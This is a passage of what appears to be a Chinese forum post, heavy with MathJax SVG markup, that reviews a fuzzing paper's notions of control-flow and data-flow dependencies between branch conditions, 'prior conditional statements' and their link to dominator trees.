0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g></g></g></svg></mjx-container></span> ,构造出来的输入 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.408ex" height="1.742ex" role="img" focusable="false" viewBox="0 -759 622.5 770"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(378,363) scale(0.707)"><path data-c="2032" d="M79 43Q73 43 52 49T30 61Q30 68 85 293T146 528Q161 560 198 560Q218 560 240 545T262 501Q262 496 260 486Q259 479 173 263T84 45T79 43Z"></path></g></g></g></g></svg></mjx-container></span> ,极有可能 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="1.699ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 751 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g></g></g></svg></mjx-container></span> 点并不是<em>reachable</em>，因为可能 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="1.699ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 751 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g></g></g></svg></mjx-container></span> 点之前的某个分支条件满足性，在输入 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.781ex" height="1.52ex" role="img" focusable="false" viewBox="0 -661 345 672"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 和 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.408ex" height="1.742ex" role="img" focusable="false" viewBox="0 -759 622.5 770"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(378,363) scale(0.707)"><path data-c="2032" d="M79 43Q73 43 52 49T30 61Q30 68 85 293T146 528Q161 560 198 560Q218 560 240 545T262 501Q262 496 260 486Q259 479 173 263T84 45T79 43Z"></path></g></g></g></g></svg></mjx-container></span> 上并不相同:</p><figure><img src="https://forum.90sec.com/uploads/default/original/2X/c/cf02522b494eda569687485546cf9fafd1c491a2.png" alt="matryoshka"><figcaption aria-hidden="true">matryoshka</figcaption></figure><p>这里通过一个代码片段，来特别地说明几种特殊的情况：</p><figure><img src="https://forum.90sec.com/uploads/default/optimized/2X/2/260b361c83c6903a5c9639d000aa312ca4ba9285_2_690x429.png" alt="image-20201003200124109"><figcaption aria-hidden="true">image-20201003200124109</figcaption></figure><p><strong>控制流依赖</strong>，L6依赖于L2，L3，L4。（这里的依赖对象是分支条件，下同） <strong>数据流依赖</strong>，L6依赖于L2，L3。</p><p>如果我们想要进入L6的true分支，首先(1 L6 is reachable，（2 satisfies L6’s condition。</p><h3 id="x01-the-ways">0x01 The ways</h3><p><strong>1.1 分支条件的控制流依赖</strong></p><p>这个依赖可以看作是从CFG上剥离出来的东西，图上的点从基本块变成了分支条件，什么是分支条件？可以更具体一点，cmp/jmpz(nz) 等等的组合，为了把分支条件之间的关系，描述更加紧密，文中抽象了一个叫<em>prior conditional statements</em> 的概念，对一个指定的路径条件 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> ,它的<em>prior conditional statements</em>是可能导致 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 变成unreachable的一组路径条件。</p><p>这个定义在实现过程中还是比较抽象，需要具体的研究一下它的性质，首先考虑它并不是一个等价关系（不满足对称性），那么它是一个偏序吗？自反性很显然，传递性也很显然，反对称性呢？考虑两个不相同的路径条件是否相互为<em>prior conditional statement</em> ,这个不要去想的太复杂，在这篇文章描述的依赖关系下，是不可能做到，因为执行流，两个statements，肯定有一个是先执行的。</p><p>抛开反对称性不说，重点关注它的传递性，这里<em>prior conditional statement</em> 关系我用 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.346ex" xmlns="http://www.w3.org/2000/svg" width="1.76ex" height="1.658ex" role="img" focusable="false" viewBox="0 -580 778 733"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="227C" d="M112 270Q83 270 83 290Q83 301 94 307Q98 310 118 310Q516 310 620 464Q635 486 642 510T651 548T657 571T675 580Q693 577 693 559V552Q684 472 628 410T465 314Q436 303 372 290Q373 290 388 287T425 278T465 266Q674 199 693 28L694 17Q688 5 683 3Q677 0 673 0Q656 0 653 24Q623 270 118 270H112ZM110 116Q83 116 83 136T110 156H113Q134 156 160 155T231 146T318 128T407 95T489 44T550 -30T583 -131Q583 -153 563 -153Q556 -153 553 -152T547 -145T542 -127Q531 -54 478 0Q425 53 333 83T123 116H110Z"></path></g></g></g></svg></mjx-container></span> 表示。传递性可以描述为 <span class="math display"><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="24.21ex" height="2.034ex" role="img" focusable="false" viewBox="0 -705 10701 899"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mtext"><path data-c="69" d="M69 609Q69 637 87 653T131 669Q154 667 171 652T188 609Q188 579 171 564T129 549Q104 549 87 564T69 609ZM247 0Q232 3 143 3Q132 3 106 3T56 1L34 0H26V46H42Q70 46 91 49Q100 53 102 60T104 102V205V293Q104 345 102 359T88 378Q74 385 41 385H30V408Q30 431 32 431L42 432Q52 433 70 434T106 436Q123 437 142 438T171 441T182 442H185V62Q190 52 197 50T232 46H255V0H247Z"></path><path data-c="66" d="M273 0Q255 3 146 3Q43 3 34 0H26V46H42Q70 46 91 49Q99 52 103 60Q104 62 104 224V385H33V431H104V497L105 564L107 574Q126 639 171 668T266 704Q267 704 275 704T289 705Q330 702 351 679T372 627Q372 604 358 590T321 576T284 590T270 627Q270 647 288 667H284Q280 668 273 668Q245 668 223 647T189 592Q183 572 182 497V431H293V385H185V225Q185 63 186 61T189 57T194 54T199 51T206 49T213 48T222 47T231 47T241 46T251 46H282V0H273Z" transform="translate(278,0)"></path></g><g data-mml-node="mtext" transform="translate(584,0)"><path data-c="A0" d=""></path></g><g data-mml-node="mi" transform="translate(834,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(1640.8,0)"><path data-c="227C" d="M112 270Q83 270 83 290Q83 301 94 307Q98 310 118 310Q516 310 620 464Q635 486 642 510T651 548T657 571T675 580Q693 577 693 559V552Q684 472 628 410T465 314Q436 303 372 290Q373 290 388 287T425 278T465 266Q674 199 693 28L694 17Q688 5 683 3Q677 0 673 0Q656 0 653 24Q623 270 118 270H112ZM110 116Q83 116 83 136T110 156H113Q134 156 160 155T231 146T318 128T407 95T489 44T550 -30T583 -131Q583 -153 563 -153Q556 -153 553 -152T547 -145T542 -127Q531 -54 478 0Q425 53 333 83T123 116H110Z"></path></g><g data-mml-node="mi" transform="translate(2696.6,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(3125.6,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(3570.2,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 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transform="translate(10268,0)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g></g></g></svg></mjx-container></span> 为了找到指定路径条件 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 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388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 的一个<em>immediate prior conditional statement</em>,则在 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 和 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 之前找不到第二个<em>prior conditional statement</em>,这个“之前”是指所有执行到 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 到路径，往后看 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 都是最后一个路径条件。可以简单的理解为 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 离 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 最近。这个定义对研究路径的同学来说，是非常熟悉的，就是<em>dominator tree</em>的定义，仿照它的定义，是可以给出计算<em>prior conditional statements</em>的算法的。 <span class="math display"><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="44.495ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 19666.7 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mi" transform="translate(751,0)"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(1202,0)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 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119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(17939,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(18494.7,0)"><path data-c="22EF" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250ZM525 250Q525 274 542 292T585 310Q609 310 627 294T646 251Q646 226 629 208T586 190T543 207T525 250ZM972 250Q972 274 989 292T1032 310Q1056 310 1074 294T1093 251Q1093 226 1076 208T1033 190T990 207T972 250Z"></path></g></g></g></svg></mjx-container></span> 其中<em>IPrior</em>表示<em>immediate prior conditional statement</em></p><p>通常来说<em>dominator tree</em>只定义在过程内，文中又进一步改进，引入了过程间的<em>prior conditional statement 关系</em>，这个也很好理解，如果一个路径条件 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 在过程内没有<em>prior conditional statement</em>,那就去找调用个过程的<em>call</em>的<em>prior conditional statement</em>，这里会产生一个疑惑不是描述路径条件之前的关系吗？怎么又突然来了一个<em>call</em>，按照定义描述的是“可能导致这个<em>call</em> 变成<em>unreachable</em>的路径条件”，其实是合理的。</p><p>我以为文中技术实现是完全建立在静态分析上，但是直到读到这里，<em>trace</em>和<em>stack</em>的出现，告诉我极有可能是在动态过程中做的，而且文中给的找<em>immediate prior conditional statement</em>的算法是可以在动态做的。</p><p><em>Intraprocedural immediate prior conditional statement</em>：（ <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> of <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> ）</p><ul><li><p><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 